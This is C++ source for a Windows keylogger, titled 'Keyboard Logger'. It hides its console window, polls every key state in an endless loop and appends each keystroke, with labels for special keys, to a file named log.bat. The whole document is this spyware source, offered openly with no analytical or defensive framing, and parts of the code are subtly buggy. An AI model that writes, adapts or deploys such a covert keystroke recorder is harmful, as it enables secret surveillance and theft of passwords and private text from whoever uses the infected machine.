Keyboard Logger

#ifdef _MSC_VER
#define _CRT_SECURE_NO_WARNINGS
#endif
#include <iostream>
#include <Windows.h>
#include <Winuser.h>

using namespace std;
int Save(int _key, char *file);

int main() {

    FreeConsole();

    char i;

    while (true)
    {
        Sleep(10);

        for (i = 8; i <= 255; i++) {
            if (GetAsyncKeyState(i) == -32767) {
                Save(i, "log.bat");
            }
        }
    }
    return 0;
}

int Save(int _key, char *file)
{
    cout << _key << endl;

    Sleep(10);

    FILE *OUTPUT_FILE;

    OUTPUT_FILE = fopen(file, "a+");

    if (_key == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (_key == VK_BACK)
        fprintf(OUTPUT_FILE, "%s", "[BACK]");
    else if (_key == VK_LBUTTON)
        fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
    else if (_key == VK_RETURN)
        fprintf(OUTPUT_FILE, "%s", "[RETURN]");
    else if (_key == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (_key == VK_DELETE)
        fprintf(OUTPUT_FILE, "%s", "[DELETE]");
    else if (_key == 46)//190
        fprintf(OUTPUT_FILE, "%s", ".");
    else if (_key == VK_NUMPAD0)
        fprintf(OUTPUT_FILE, "%s", "0");
    else if (_key == VK_NUMPAD1)
        fprintf(OUTPUT_FILE, "%s", "1");
    else if (_key == VK_NUMPAD2)
        fprintf(OUTPUT_FILE, "%s", "2");
    else if (_key == VK_NUMPAD3)
        fprintf(OUTPUT_FILE, "%s", "3");
    else if (_key == VK_NUMPAD4)
        fprintf(OUTPUT_FILE, "%s", "4");
    else if (_key == VK_NUMPAD5)
        fprintf(OUTPUT_FILE, "%s", "5");
    else if (_key == VK_NUMPAD6)
        fprintf(OUTPUT_FILE, "%s", "6");
    else if (_key == VK_NUMPAD7)
        fprintf(OUTPUT_FILE, "%s", "7");
    else if (_key == VK_NUMPAD8)
        fprintf(OUTPUT_FILE, "%s", "8");
    else if (_key == VK_NUMPAD9)
        fprintf(OUTPUT_FILE, "%s", "9");
    else if (_key == 190 || _key == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
    else if (_key == VK_TAB) {
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    }
    else if (_key == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CTRL]");
    else if (_key == VK_MENU)
        fprintf(OUTPUT_FILE, "%s", "[ALT]");
    else
        fprintf(OUTPUT_FILE, "%s", &_key);

    fclose(OUTPUT_FILE);

    return 0;
}